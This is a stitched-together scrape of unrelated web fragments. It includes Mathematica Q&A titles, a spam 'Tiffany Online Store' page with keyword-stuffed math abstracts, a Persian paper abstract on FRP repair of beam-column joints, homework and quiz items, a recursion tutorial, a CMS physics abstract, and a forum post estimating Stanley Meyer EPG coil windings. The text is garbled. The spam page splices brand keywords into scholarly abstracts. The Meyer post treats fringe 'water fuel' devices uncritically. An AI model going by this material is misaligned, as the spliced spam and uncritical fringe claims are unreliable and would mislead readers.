DensityPlot expression\n\nI am trying to do an interactive visualization of a very simple neural network (inspired by tensorflow playground): ...\n56 views\n\n### How do I plot the region of stability? [closed]\n\nHow do I plot the region of stability in Mathematica? Can any one help out please? $$\\phi(z)=\\left|\\frac{1+z}{1-z}\\right|<1 \\qquad \\text{for z \\in \\mathbb{C}}$$\n43 views\n\n### How to join two graphics generated from paired-points lists?\n\nThe Fig.1 and Fig.2 are generated from two lists, Fig.3 is joined and edited from Fig.1 and Fig.2 in Adobe Illustrator, the codes and figures as follows. I want to know how to get Fig.3 by Mathematica ...\n106 views\n\n### Align y-Axes in Overlay plot\n\nI learned about how to plot two datasets in a single plot with two y-axes by using Overlay as has been done in one of the answers in this question. Now, my ...\n52 views\n\n### How to fit 2nd order polynomial to multiple graphs and show them together?\n\nI want to fit 2nd order polynomial to multiple graphs and show them together; I imported file by using following command: Mode1 = Import[\"1-CF.txt\", \"Table\"]; ...\n38 views\n\n### Plotting cylinders and planes on the same graph\n\nHow would I plot the cylinder $y^2 + z^2 = 9$ and the planes $x = 0$, $y = 3x$, and $z = 0$ in the same graph and in the first octant. ...\n82 views\n\n### Does ListPlot Joined Dotted crash front end reproducibly for large number of points?\n\nThe problem The following code crashes Mathematica 12 for Windows 64 front-end reproducibly in my computer (Win7 Pro, i7-4770 3.4GHz 16Gb RAM). ...\n81 views\n\n### Customize ColorData function\n\nI am trying to customize the color data ColorData[\"AvocadoColors\"] I want to make color data function of the gradient starting from the green to the white ...\n55 views\n\n### ListStepPlot with two axes of ordinates\n\nI have the following vector: ...\n45 views\n\n### sine-Gordon equation using pseudospectral method [closed]\n\nI want to try this code what is the problem ? I tried this from https://reference.wolfram.com/language/tutorial/NDSolveMethodOfLines.html When i tried this i got ...\n28 views\n\n### Plot Audio DAta\n\nI am a beginner in mathematica. Currently i am working on audio file my problem is when i extract audio information using BinaryReadList and try to plot it works with mono wav file but cannot get ...\n38 views\n\n### Encoding spatial data in Mathematica\n\nI am doing some experimentation with machine learning and robotics, and want Mathematica to be my primary platform. For it, I need to represent a room with some obstacles (circles) and a goal (square)....\n70 views\n\n46 views\n\n### Missing ticks and numbers on a plot when using JLink + Mathematica 11.3\n\nI am facing a pretty random problem using JLink (Java) connected to a Mathematica 11.3 kernel and front-end. Basically I want to get an image using the JLink Java method ...\n157 views\n\n...\n131 views\n\n### Overlay barcharts with same vertical axis\n\nI want to construct a bar chart for which the last bar is two bars stacked, while the others are not stacked. My thought had been to create two bar charts and overlay them. The challenge I have is ...\n### Plotting an integral where the integrand depends on the parameter values (If)\nWith my function $f(x)$ I would like to Plot3D $\\int_a^b f(x) dx$ with the parameter values $a \\in [0,1]$ and $b \\in [1,3]$. The challenging part has to do with ..." ]

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[ "You are here: Home -  Tiffany Online Store program represented by a system of\n\n# Tiffany Online Store program represented by a system of", null, "An interpolation scheme which assumes position values, derivatives and curvature values on the boundary of an arbitrary triangle is presented. The development of this interpolant is based upon univariate interpolation using a geometric Hermite-operator along line segments joining a vertex and a side. It is shown how to transform the set of all feasible solution to an integer program represented by a system of linear diophantine inequalities into an ‘equivalent’ set represented by a system of linear diophantine equations and congruences. A similar transformation is given, working in the opposite direction (i.e. from a system of equations to a system of inequalities). The group of isometrics of hyperbolic n  -space contains the orthogonal group O  (n  ) as a subgroup. We prove that this inclusion induces a stable isomorphism of discrete group homology. The unstable version of this result implies in particular that the scissors congruence group P(S3)P(S3) in spherical 3-space is a rational vectorspace. The properties of and the interplay between the monopole Tiffany Online Store pairing, quadrupole pairing and quadrupole particle-hole Tiffany Bracelet Canada interactions are studied in two simple, solvable models." ]

[ null, "http://www.redtalentosmexico.ca/pages/images/UYGre/Ntiffany/tiffany-online-store-program-represented-by-a-system-of.jpg", null ]

[ "# مقایسه‌ی تجربی و عددی ترمیم اتصال تیر به ستون کناری بتن مسلح با استفاده از الیاف بسپاری F‌R‌P\n\nنویسنده\n\nدانشکده ی مهندسی عمران- دانشگاه شهید رجایی\n\nچکیده\n\nدر این نوشتار ترمیم اتصال تیر به ستون کناری آسیب‌دیده از بارهای رفت‌وبرگشتی (همچون زلزله) با استفاده از الیاف بسپاری مورد مطالعه‌ی آزمایشگاهی و عددی قرار گرفته است. بارهای رفت‌وبرگشتی به انتهای تیر نمونه‌ی آزمایشگاهی با مقیاس کامل اعمال شده است. بارگذاری تا رسیدن نمونه به ظرفیت خود، ادامه یافته است، و سپس نمونه با استفاده از الیاف بسپاری ترمیم شده و نمونه‌ی ترمیم‌شده مجدداً تحت بارگذاری دوره‌یی قرار گرفته است. برای مطالعات عددی، نمونه‌ی آزمایشگاهی به‌روش اجزاء محدود ساخته شده است. مدل عددی با توجه به مقادیر ثبت‌شده توسط ابزار اندازه‌گیری تعبیه‌شده بر روی نمونه‌ی آزمایشگاهی، اصلاح شده است. برای بررسی تأثیر آرایش الیاف بسپاری پنج مدل غیرخطی با چیدمان متفاوت الیاف تحت بارگذاری شبیه نمونه‌ی آزمایشگاهی قرار داده شده و مورد مطالعه قرار گرفته است. نتایج آزمایش نشان داد که مقاومت و جذب انرژی نمونه‌ی آسیب‌دیده با کاربرد الیاف بسپاری اصلاح شده است، گرچه تغییرات در سختی نمونه‌ی ترمیم‌شده قابل توجه نیست. همچنین مقایسه‌ی بین ظرفیت نمونه‌های عددی که با آرایش و چیدمان مختلف الیاف بسپاری ترمیم شده‌اند ارائه شده است.\n\nکلیدواژه‌ها\n\nعنوان مقاله [English]\n\n### C‌O‌M‌P‌A‌R‌I‌S‌O‌N B‌E‌T‌W‌E‌E‌N E‌X‌P‌E‌R‌I‌M‌E‌N‌T‌A‌L A‌N‌D N‌U‌M‌E‌R‌I‌C‌A‌L S‌T‌U‌D‌Y O‌F D‌A‌M‌A‌G‌E‌D E‌X‌T‌E‌R‌I‌O‌R B‌E‌A‌M-C‌O‌L‌U‌M‌N B‌Y F‌R‌P L‌A‌M‌I‌N‌A‌T‌E\n\nنویسنده [English]\n\n• A. V‌a‌t‌a‌n‌i O‌s‌k‌o‌u‌e‌i\nD‌e‌p‌t. o‌f C‌i‌v‌i‌l E‌n‌g‌i‌n‌e‌e‌r‌i‌n‌g S‌h‌a‌h‌i‌d R‌a‌j‌a‌e‌e U‌n‌i‌v‌e‌r‌s‌i‌t‌y\nچکیده [English]\n\nI‌n t‌h‌i‌s s‌t‌u‌d‌y, t‌h‌e u‌s‌e o‌f t‌h‌e F‌R‌P l‌a‌m‌i‌n‌a‌t‌e t‌e‌c‌h‌n‌i‌q‌u‌e i‌n r‌e‌p‌a‌i‌r‌i‌n‌g a r‌e‌i‌n‌f‌o‌r‌c‌e‌d e‌x‌t‌e‌r‌i‌o‌r b‌e‌a‌m-c‌o‌l‌u‌m‌n j‌o‌i‌n‌t w‌h‌i‌c‌h h‌a‌s b‌e‌e‌n d‌a‌m‌a‌g‌e‌d\nb‌y s‌i‌m‌u‌l‌a‌t‌e‌d s‌e‌i‌s‌m‌i‌c l‌o‌a‌d, i‌s i‌n‌v‌e‌s‌t‌i‌g‌a‌t‌e‌d, e‌x‌p‌e‌r‌i‌m‌e‌n‌t‌a‌l‌l‌y a‌n‌d a‌n‌a‌l‌y‌t‌i‌c‌a‌l‌l‌y. A‌r‌e‌v‌e‌r‌s‌e‌d c‌y‌c‌l‌i‌c l‌o‌a‌d w‌a‌s a‌p‌p‌l‌i‌e‌d t‌o t‌h‌e t‌i‌p o‌f t‌h‌e f‌u‌l‌l s‌c‌a‌l‌e e‌x‌t‌e‌r‌i‌o‌r b‌e‌a‌m-c‌o‌l‌u‌m‌n s‌p‌e‌c‌i‌m‌e‌n. C‌y‌c‌l‌i‌c l‌o‌a‌d‌i‌n‌g c‌o‌n‌t‌i‌n‌u‌e‌d u‌n‌t‌i‌l t‌h‌e u‌l‌t‌i‌m‌a‌t‌e c‌a‌p‌a‌c‌i‌t‌y o‌f t‌h‌e s‌p‌e‌c‌i‌m‌e‌n w‌a‌s r‌e‌a‌c‌h‌e‌d.T‌h‌e‌n, t‌h‌e s‌p‌e‌c‌i‌m‌e‌n w‌a‌s r‌e‌p‌a‌i‌r‌e‌d b‌y u‌s‌i‌n‌g C‌F‌R‌P l‌a‌m‌i‌n‌a‌t‌e. T‌h‌e r‌e‌p‌a‌i‌r‌e‌d s‌p‌e‌c‌i‌m‌e‌n w‌a‌s s‌u‌b‌j‌e‌c‌t‌e‌d t‌o c‌y‌c‌l‌i‌c l‌o‌a‌d‌i‌n‌g. F‌o‌r a‌n a‌n‌a‌l‌y‌t‌i‌c‌a‌l s‌t‌u‌d‌y o‌f t‌h‌e s‌a‌m‌e b‌e‌a‌m-c‌o‌l‌u‌m‌n s‌p‌e‌c‌i‌m‌e‌n, t‌h‌e f‌i‌n‌i‌t‌e e‌l‌e‌m‌e‌n‌t m‌o‌d‌e‌l w‌a‌s p‌r‌e‌p‌a‌r‌e‌d. T‌h‌e m‌o‌d‌e‌l w‌a‌s c‌a‌l‌i‌b‌r‌a‌t‌e‌d b‌y u‌s‌i‌n‌g t‌h‌e r‌e‌s‌u‌l‌t o‌f t‌h‌e e‌x‌p‌e‌r‌i‌m‌e‌n‌t‌a‌l t‌e‌s‌t. F‌o‌r t‌h‌e e‌f‌f‌e‌c‌t‌i‌v‌e n‌e‌s‌s o‌f t‌h‌e C‌F‌R‌P a‌r‌r‌a‌n‌g‌e‌m‌e‌n‌t o‌n t‌h‌e b‌e‌h‌a‌v‌i‌o‌r o‌f b‌e‌a‌m-c‌o‌l‌u‌m‌n c‌o‌n‌n‌e‌c‌t‌i‌o‌n‌s, f‌i‌v‌e n‌o‌n‌l‌i‌n‌e‌a‌r a‌n‌a‌l‌y‌t‌i‌c‌a‌l m‌o‌d‌e‌l‌s, w‌i‌t‌h d‌i‌f‌f‌e‌r‌e‌n‌t C‌F‌R‌P a‌r‌r‌a‌n‌g‌e‌m‌e‌n‌t u‌n‌d‌e‌r r‌e‌s‌e‌r‌v‌e‌d c‌y‌c‌l‌i‌c l‌o‌a‌d‌i‌n‌g, w‌e‌r‌e s‌t‌u‌d‌i‌e‌d. T‌h‌e r‌e‌s‌u‌l‌t‌s i‌n‌d‌i‌c‌a‌t‌e t‌h‌a‌t u‌s‌i‌n‌g C‌F‌R‌P l‌a‌m‌i‌n‌a‌t‌e w‌a‌s e‌f‌f‌e‌c‌t‌i‌v‌e i‌n r‌e‌s‌t‌o‌r‌i‌n‌g t‌h‌e s‌t‌r‌e‌n‌g‌t‌h, e‌n‌e‌r‌g‌y d‌i‌s‌s‌i‌p‌a‌t‌i‌o‌n.C‌o‌m‌p‌a‌r‌i‌s‌o‌n‌s b‌e‌t‌w‌e‌e‌n t‌h‌e c‌a‌p‌a‌c‌i‌t‌y o‌f t‌h‌e n‌u‌m‌e‌r‌i‌c‌a‌l m‌o‌d‌e‌l u‌s‌i‌n‌g d‌i‌f‌f‌e‌r‌e‌n‌t a‌r‌r‌a‌n‌g‌e‌m‌e‌n‌t‌s o‌f C‌F‌R‌P l‌a‌m‌i‌n‌a‌t‌e, a‌r‌e m‌o‌d‌e.\n\nکلیدواژه‌ها [English]\n\n• E‌a‌r‌t‌h‌q‌u‌a‌k‌e\n• D‌a‌m‌a‌g‌e\n• B‌e‌a‌m-C‌o‌l‌u‌m‌n\n• C‌o‌n‌n‌e‌c‌t‌i‌o‌n\n• R‌e‌p‌a‌i‌r\n• S‌t‌r‌e‌n‌g‌t‌h‌e‌n‌i‌n‌g\n• R‌e‌t‌r‌o‌f‌i‌t‌t‌i‌n‌g\n• R‌e‌i‌n‌f‌o‌r‌c‌e C‌o‌n‌c‌r‌e‌t‌e\n• F‌i‌b‌e‌r P‌o‌l‌y‌m‌e‌r‌s\n• F‌R‌P" ]

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[ " Rate Per hunderd Weight CWT\n\nDictionary", null, "Rate Per hundred-weight (CWT)\n\nThe multiplier based on weight is used to calculate the gross freight charge. The calculation is per hundred weight. If you had a CWT of 12.50 and 1501 lbs the gross freight charge would be \\$187.63 (12.50 x 1501 = \\$187.63)" ]

[ null, "https://coolfreight.com/wpimages/wpf9763ea8_06.png", null ]

[ "# A 20 kg block lies on a ramp inclined at 35. What is the force,  would prevent the block from moving? (Assume 1 kg exerts a force of 9.8 N.)\n\nhala718", null, "| Certified Educator\n\ncalendarEducator since 2008\n\nstarTop subjects are Math, Science, and Social Sciences\n\nWe know that the force formula for the inclined surface is given by:\n\nF= m*g* sin(35) such that m= mass of the block , g is the gravity, and 35...\n\n(The entire section contains 77 words.)" ]

[ null, "https://static.enotescdn.net/images/core/educator-indicator_thumb.png", null ]

[ "# Show seq. $x_n$ with $|x_{n+1} - x_n| < \\epsilon$ is Cauchy\n\n## Homework Statement\n\nThe problem is longer but the part I'm stuck is to show that $\\{x_n\\}$ is convergent (I thought showing it is Cauchy) if I know that for all $\\epsilon > 0$ exists $n_0$ such that for all $n \\geq n_0$ I have that\n$|x_{n+1} - x_n| < \\epsilon$\n\n## Homework Equations\n\nA sequence is Cauchy if for all $\\epsilon > 0$ and for all $n,m \\geq n_0$ one has\n$|x_m - x_n| < \\epsilon$\n\n## The Attempt at a Solution\n\nI called $m = n+p$ (for $p$ an arbitrary positive integer)\nThen\n$|x_m - x_n| = |x_{n+p} - x_n|$\nBut (and I think there is some mistake here):\n$|x_{n+1} - x_n| < \\epsilon/p$\n$|x_{n+2} - x_{n+1}| < \\epsilon/p$\n$\\vdots$\n$|x_{n+p} - x_{n+p-1}| < \\epsilon/p$\n\nSo\n$|x_{n+p} - x_n| < \\underbrace{|x_{n+1} - x_n|}_{< \\epsilon/p} + \\underbrace{|x_{n+2} - x_{n+1}|}_{< \\epsilon/p} + \\ldots + \\underbrace{|x_{n+p} - x_{n+p-1}|}_{< \\epsilon/p} < \\epsilon$\n\nAny help on why it's wrong (if it is) and how to solve it correctly?\nThanks!\n\nRelated Calculus and Beyond Homework Help News on Phys.org\nOffice_Shredder\nStaff Emeritus\nGold Member\n\nThis isn't true. For example the sequence\n$$x_n = \\sum_{i=1}^{n} 1/i$$\n\nThis isn't true. For example the sequence\n$$x_n = \\sum_{i=1}^{n} 1/i$$\nYou are right, thanks.\n\nI suppose I have to write the full problem: Given $\\{x_n\\}$ a sequence of real numbers, and $S_n = \\Sigma_{n=1}^n |x_{k+1} - x_k|$, with $S_n$ bounded, prove that $\\{ x_n \\}$ converges.\n\nMy attempt at a proof:\nClearly $\\{ S_n \\}$ converges as it is a series of positive terms and it is bounded.\nSo I define $a_k = | x_{k+1} - x_k|$, and now I know that $\\lim_{n \\to \\infty} a_n = 0$ (because the series $S_n$ converges).\n\nFrom there I really didn't know how to continue, I thoght proving $x_n$ was Cauchy, but didn't work. Any help?" ]

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[ "Recursion – The basics\n\nRecursion – The basics\n\nCOMPUT: a programming technique where a routine performs its task by delegating part of it to another instance of itself.\n\nIntroduction\nFor new computer science students, the concept of recursive programming is often difficult. Recursive thinking is difficult because it almost seems like circular reasoning. It’s also not an intuitive process; when we give instructions to other people, we rarely direct them recursively.\n\nFor those of you who are new to computer programming, here’s a simple definition of recursion: Recursion occurs when a function calls itself directly or indirectly.\n\nA classic example of recursion\nThe classic example of recursive programming involves computing factorials. In mathematics, the factorial of a nonnegative integer, n (denoted n!) is the product of all positive integers less than or equal to n. For example, 5! is the same as 5*4*3*2*1, and 3! is 3*2*1.\n\nAn interesting property of a factorial is that the factorial of a number is equal to the starting number multiplied by the factorial of the number immediately below it. For example, 5! is the same as 5 * 4! You could almost write the factorial function as:\n\n int factorial(int n) { return n * factorial(n - 1); }\n\nListing 1. First cut factorial function\n\nHowever, there is a small problem with this; it will run forever because there is no place where it stops calling itself. It therefore needs a condition to tell it to stop. Since a factorial is for positive numbers only it makes sense to stop the recursion when the input is 1 and return 1 as the result. The modified code will look like this:\n\n int factorial(int n) { if(n == 1) { return 1; } else { return n * factorial(n - 1); } }\n\nListing 2. better factorial function\n\nAs you can see, as long as the initial value is above zero, this function will terminate. Note that more work will need to be done to guard again invalid initial values.\n\nThe point at with the recursion is stopped is called the base case. A base case is the bottom point of a recursive program where the operation is so trivial as to be able to return an answer directly. In the case of a factorial 1! = 1. All recursive programs must have at least one base case and must guarantee that they will hit one eventually; otherwise the program would run forever or until the program ran out of memory or stack space.", null, "Basic steps of recursive programs\nAll recursive programs follows the same basic sequence of steps:\n1: Initialize the algorithm. Recursive programs often need a seed value to start with.\n2: Check to see whether the current value(s) being processed match the base case. If so, process and return the value.\n3: Redefine the answer in terms of a smaller or simpler sub-problem or sub-problems.\n4: Run the algorithm on the sub-problem.\n5: Combine the results in the formulation of the answer.\n6: Return the results." ]

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[ "# Represent the following situations in the form of quadratic equations The area of a rectangular plot is 528 m^2. The length of the plot (in metres) is one more than twice its breadth. We need to find the length and breadth of the plot - Mathematics\n\nRepresent the following situations in the form of quadratic equations\n\nThe area of a rectangular plot is 528 m2. The length of the plot (in metres) is one more than twice its breadth. We need to find the length and breadth of the plot\n\n#### Solution\n\nLet the breadth of the rectangular plot = x m\n\nHence, the length of the plot is (2x + 1) m.\n\nFormula of area of rectangle = length × breadth = 528 m2\n\nPutting the value of length and width, we get\n\n(2x + 1) × x = 528\n\n⇒ 2x2 + x =528\n\n⇒ 2x2 + x - 528 = 0\n\nIs there an error in this question or solution?\n\n#### APPEARS IN\n\nNCERT Class 10 Maths" ]

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[ "", null, "Search for heavy Majorana neutrinos in e$^{\\pm}$e$^{\\pm}$ + jets and e$^{\\pm}\\mu^{\\pm}$ + jets events in proton-proton collisions at $\\sqrt{s} = 8\\mathrm{\\,Te\\kern -0.1em V}$\n\nCMS Collaboration; Canelli, F; Chiochia, V; Kilminster, B; Robmann, P; et al (2016). Search for heavy Majorana neutrinos in e$^{\\pm}$e$^{\\pm}$ + jets and e$^{\\pm}\\mu^{\\pm}$ + jets events in proton-proton collisions at $\\sqrt{s} = 8\\mathrm{\\,Te\\kern -0.1em V}$. Journal of High Energy Physics, 2016(4):169.\n\nAbstract\n\nA search is performed for heavy Majorana neutrinos (N) decaying into a Wboson and a lepton using the CMS detector at the Large Hadron Collider. A signature of two jets and either two same sign electrons or a same sign electron-muon pair is searched for using 19.7 fb$^{−1}$ of data collected during 2012 in proton-proton collisions at a centre-of-mass energy of 8 TeV. The data are found to be consistent with the expected standard model (SM) background and, in the context of a Type-1 seesaw mechanism, upper limits are set on the cross section times branching fraction for production of heavy Majorana neutrinos in the mass range between 40 and 500 GeV. The results are additionally interpreted as limits on the mixing between the heavy Majorana neutrinos and the SM neutrinos. In the mass range considered, the upper limits range between 0.00015-0.72 for |V$_{eN}|^2$ and 6.6 × 10$^{−5}$-0.47 for |V$_{e N}$V$_{\\mu N}$*|$^2$/(|V$_{e N}$|$^2$ + |V$_{\\mu N}$|$^2$), where V$_{\\ell N }$ is the mixing element describing the mixing of the heavy neutrino with the SM neutrino of flavour $\\ell$. These limits are the most restrictive direct limits for heavy Majorana neutrino masses above 200 GeV.\n\nAbstract\n\nA search is performed for heavy Majorana neutrinos (N) decaying into a Wboson and a lepton using the CMS detector at the Large Hadron Collider. A signature of two jets and either two same sign electrons or a same sign electron-muon pair is searched for using 19.7 fb$^{−1}$ of data collected during 2012 in proton-proton collisions at a centre-of-mass energy of 8 TeV. The data are found to be consistent with the expected standard model (SM) background and, in the context of a Type-1 seesaw mechanism, upper limits are set on the cross section times branching fraction for production of heavy Majorana neutrinos in the mass range between 40 and 500 GeV. The results are additionally interpreted as limits on the mixing between the heavy Majorana neutrinos and the SM neutrinos. In the mass range considered, the upper limits range between 0.00015-0.72 for |V$_{eN}|^2$ and 6.6 × 10$^{−5}$-0.47 for |V$_{e N}$V$_{\\mu N}$*|$^2$/(|V$_{e N}$|$^2$ + |V$_{\\mu N}$|$^2$), where V$_{\\ell N }$ is the mixing element describing the mixing of the heavy neutrino with the SM neutrino of flavour $\\ell$. These limits are the most restrictive direct limits for heavy Majorana neutrino masses above 200 GeV.\n\nStatistics\n\nCitations\n\nDimensions.ai Metrics\n16 citations in Web of Science®\n48 citations in Scopus®\n\nAltmetrics\n\nDetailed statistics\n\nItem Type: Journal Article, refereed, original work 07 Faculty of Science > Physics Institute 530 Physics Physical Sciences > Nuclear and High Energy Physics English 2016 11 Jan 2017 09:34 14 Jul 2020 15:07 Springer 1029-8479 Gold Publisher DOI. An embargo period may apply. https://doi.org/10.1007/JHEP04(2016)169", null, "", null, "", null, "Licence:", null, "" ]

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[ "###", null, "Author Topic: Stanley A Meyer Mechanical Pump EPG coil parameters  (Read 619 times)\n\n0 Members and 1 Guest are viewing this topic.\n\n####", null, "Login to see usernames", null, "##### Stanley A Meyer Mechanical Pump EPG coil parameters\n« on: February 08, 2021, 04:05:44 am »\n[An intrinsic portion of the Stanley Meyer technology had inductors, chokes and coils as important components\nif devices. The voltage intensifier circuits( VIC)and the electrical  particle generators (EPG)\nMany of Stanley Meyer's patents and publications provide diagrams provide the general description or have live\ndrawings that lack  exact component values of the resistors, capacitors , coils and chokes. Fortunately the high resolution\nphotographs from the L3 storage unit and by Don Gabel, The Orion Project and others allow for many printed circuits\nto be closely  reconstructed.  The following article is related to the photogrammetric analysis of coils and inductors.\n\nThe values of the capacitors and resistors is much more straightforward using programs that match color code bands on resistors\nwith values and  OCR image data files input cross-matched with component  files based on supplier catalog scans.\n\nMETHOD 1. Determine Length of bobbin, thickness or depth of winding,/the wire gauge and method of winding\n\nThe diameter of the outermost EPG channel or loop can be estimated.at  about 17 inches\nTherefore the outer circumference can be estimated at  17 x Pi inches\nBy dividing the circumference by the observed number of coils an estimated length of each coil can be made.\n\nA further refinement in precision can be made by subtraction of  the total length  L occupied by coil spacers.\nSo in the case where you count, let's say as way of example, 59 coils and 60 coil end spacers, each winding is\n1/59th of the circumference of 53.4 inches or calculated at about 0.905 inches long.\n\nMethod 2.\nBecause of  the high resolution photographs available, estimates of  a coil can be made directly.\nUsing a known measurement such as the outside diameter of tubing  ie.  0.500 inches\nin conjunction with a screen distance tool in Photoshop(r) or another program such as\nScreen Caliper(r) the length of the coil can be made.\n\nTHICKNESS\nSince the outside diameter of the core channel is known,  an estimate of the thickness of depth of winding\nmay be obtained by using  photogrammetry to estimate the  thickness of the winding.\nThe total thickness or height of the wound coil is first measured. Then the core diameter is then subtracted.\nthe resulting  figure is then divided by two. This is the height or thickness of the winding around the core\n\nSo now we have what is call a winding window with height H and length L.\nH TIMES L = A   the area of the winding window. Think of it a a cross-sectional view of\nthe coil windings with the ends of each wire being viewed.\nSomething like this:\n\nIIOOOOOOOOOOOOII\nIIOOOOOOOOOOOOII\nIIOOOOOOOOOOOOII\nrepresenting 3 layers of wire with 12 wraps (the II symbolizing the  coil dividers)\n3 layers of wire by 12 wires wide or 36 turns or wraps of wire around a bobbin\n\nIIooooooooooooooooooII\nIIooooooooooooooooooII\nHooooooooooooooooooII\n\nIn this exsmple, a thinner wire could be wound 18 times on the same length of bobbin.\n\nNUMBER OF WINDS\nSince the gauge of  the wire can be estimated with a good amount of precision\n,the use of circle packing theory (see wiki) theory can be used to determine the\nnumber of turns that can fit through this winding window( Area equals Height\ntimes length.\n\nOne factor that helps, is that wires come in standard  thicknesses or diameters\nFor convenience the AWG  (American Wire Gauge) is used in electrical\nand electronic work, Electrical wiring in the U.S. is often 10,12  or 14AWG\nElectronic work is often  uses 18,22, or 30  AWG gauge wire\nWhatever the reason the smaller the AWG number, the thicker or larger\nthe diameter of wire!!\n\nThe reason this helps in photogrammetry, is that the gauges are discrete values\nLook at this table:\n\nAWG      Diameter in inches           AWG     Diameter in Inches\n10           .1019                                 20           .0320\n12           .0808                                 22           .0253\n14           .0641                                 24           .0201\n16           .0508                                 26           .0159\n18           .0403                                 28           .0126\n30           .0101\n\nThe 16 gauge wire is about 25% thicker than 18 gauge\nThe 22 gauge wire is about 25% thicker than 24 gauge\n\nNot to get too technical, but this is a logarithmic scale,  but the important  concept\nis the PERCENTAGE OF DIFFERENCE BETWEEN GAUGES IS LARGE\nin relation to the precision achievable in photogrammetry\n\nThis means for a given photogrammetric distance is it easier to pick out the exact\ngauge of wire used because the precision of the that method is often less than 2 to 5%.\n\nPACKING FRACTION\n\nThere is a branch of mathematics which describes how many circles of uniform\nsize can be drawn in a given area. It goes by several names but let's just call it\nCircle Packing Theory.\n\nBy determining the winding window size, the  appropriate circle packing  fraction can be used to\ndetermine a close estimate of the number of windings per coil. In the previous example\ncross-section of a coil, it represents one type of winding\n\nOne type of winding known as square or precision winding has each layer of winding with\nturns directly on top the wires in the layer beneath with no offset.\n\nAnother type is hexagonal winding, with the layers arranged more like a honeycomb\n\nAnd thirdly there is a random type of winding with lots of crossover and gaps\n\nThe hexagonal packing is the closest or most densest  method of winding coils\nwith a value of 0.906  or about 91% of the area occupied by wire with the\nbalance of the area being gaps between the wires\n\nSquare geometry winding with  each winding of wire directly on top the\nlayer below(  No offset)   has a value of 0.785  It is not at close or dense\na winding as hexagonal winding.\n\nA random wind often a more gaps but the packing ratio is highly dependent\non the size of the wire relative the length and width of the winding window\n\nConsider for a moment two equally sized sheets of sandpaper.\nOne is coated coarse grade grit, the other coated coated with a fine grit used for\nfinal sanding.  The  arrangement of the sand grains is random in both\ncases but there are fewer grain of sand  on the coarse paper and\nmany more grains of  sand on the finer grit paper.\nThis is analogous to the number of random winding or wraps of wire in a given\ncross sectional area on a bobbin. Intuitively very small wire gauges have a\nhigher  packing fraction than large. This is a difficult value to quantify\n\nSO IN SOME CASES IT MAY BE POSSIBLE TO CALCULATE THE NUMBER OF TURNS\nIN SOME CASES EMPIRCAL METHODS OR TEST WINDINGS MIGHT BE NECESSARY\n\nAs an example if the winding window is 1 square inch and the AWG  is 22, and the tighter hexagonal\nwinding factor is used(0.906) then    0.906 square inches of that window is occupied by the area of the wire..\nThe cross-sectional area of AWG 22 is 0.0005 inches.\n0.906/divided by 0.0005 =approx 1800 turns\n\nWith precision or square winding a factor of 0.78 can be used resulting in an estimate of 1560 turns through\na 1 inch square window\n\nSUMMARY\n\nBasically the application of the above method may be used to estimate  the number\nof windings for an EPG coil by photogrammetric means in some cases\n\nA search of empirical transformer design charts might be instructive for this third case\nof random winding.  Empirical  as well as advanced computer iteration calculations\nare used\n\nMethod 3\n\nThere are on line calculators also:\n\nhttps://www.daycounter.com/Calculators/Coil-Physical-Properties-Calculator.phtml\n\nMISCELLANEOUS COMMENT\nPOWER OUTPUT DEPENDS ON  METHOD OF WIRING PICKUP COILS\n\nIt appears as though the mechanical drive epg was wired in parallel  lower voltage and  and a\nhigher amperage due to more coils\nWhile the multitier EPG was higher voltage due to fewer coils and  many windings which required of multiple tiers\nIt also could be that the effective value of the flux in the mag-gas systems was lower that the higher density ferro fluids\nwhich might explain the need to operate at  90 ips velocity\n« Last Edit: March 15, 2021, 15:05:46 pm by jim miller »\n\n####", null, "Login to see usernames", null, "##### Re: Stanley A Meyer Mechanical Pump EPG coil parameters\n« Reply #1 on: March 05, 2021, 19:52:09 pm »\nRuss Greis has a nice build of the EPG that had jumper connectors at the ends of each coil so that the coils could be individually\nSo depending on how the jumpers were used the output amperage and voltage can be changed. The output voltage or amperage\ncan be varied but also be dividing the coils into 3 groups  resulting in a three phase system\n\nOther  phase systems are possible such as six phase systems\n\nA sixty coil  system   1*2*2*3*5= 60 will allow for 1,2,3,4,,5,6,10 and 12 cycle output\n\n3" ]

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[ "## Question\n\n### Solution\n\nCorrect option is\n\n136 pm", null, "", null, "= 136 pm.\n\n#### SIMILAR QUESTIONS\n\nQ1\n\nWhich of the following gains electrons more easily?\n\nQ2\n\nThe IE1, IE2, IE3, IE4 and IE5 of an element are 7.1, 14.3, 34.5, 46.8, 162.2 eV respectively. The element is likely to be\n\nQ3\n\nThe elector-negativities of N, C, Si and P are such that\n\nQ4\n\nWhich of the following will have maximum electron affinity?\n\nQ5\n\nEN of the element (A) is E1 and IP is E2. Hence EA will be\n\nQ6\n\nWhich one of the following molecules will form a linear polymeric structure due to hydrogen bonding?\n\nQ7\n\nH2O is dipole, whereas BeF2 is not. It is because\n\nQ8\n\nThe molecule having highest bond energy is\n\nQ9\n\nWhich set is expected to show the smallest difference in first ionisationenergy?\n\nQ10\n\nA diatomic molecule has a dipole moment of 1.2D. If its bond distance is 1.0Å, what fraction of an electric charge exist on each atom?" ]

[ null, "http://kaysonseducation.co.in/Question/IIT/chemistry/Organic%20Chemistry%20part%201/Factors%20affecting%20the%20nature%20of%20covalent%20bonding/Factors%20affecting%20the%20nature%20of%20covalent%20bonding_files/image070.png", null, "http://kaysonseducation.co.in/Question/IIT/chemistry/Organic%20Chemistry%20part%201/Factors%20affecting%20the%20nature%20of%20covalent%20bonding/Factors%20affecting%20the%20nature%20of%20covalent%20bonding_files/image072.png", null ]

[ "", null, "Trial ends in\n\nJoVE Core\nPhysics\n\nA subscription to JoVE is required to view this content.\nYou will only be able to see the first 20 seconds.\n\nEducation\nRigid Body Equilibrium Problems - II\n\n### 12.6: Rigid Body Equilibrium Problems - II\n\nA rigid body is in static equilibrium when the net force and the net torque acting on the system are equal to zero.\n\nConsider two children sitting on a seesaw, which has negligible mass. The first child has a mass (m1) of 26 kg and sits at point A, which is 1.6 meters (r1) from the pivot point B; the second child has a mass (m2) of 32 kg and sits at point C. How far from the pivot point B should the second child sit (r2) to balance the seesaw?", null, "In order to solve the problem, the steps for rigid body equilibrium must be followed:\n\n1. Identify the seesaw and two children as the system of interest. Consider the supporting pivot to be the point about which the torques are calculated and all external forces are acting on the system.\n2. Draw a free-body diagram for the object, including all the forces that act on the system. Here, the three external forces acting on the system are the weights of the two children and the supporting force of the pivot. Now, the torque produced at each point A, C, and B are m1r1, −m2r2, and zero (as the pivot point is the point at which torque is calculated), respectively. The minus sign for m2r2 is due to the torque acting in a clockwise direction.\n3. Apply the second condition for equilibrium, where the sum of the torques in the system is zero. Substituting the values in the equation, the distance is determined as 1.3 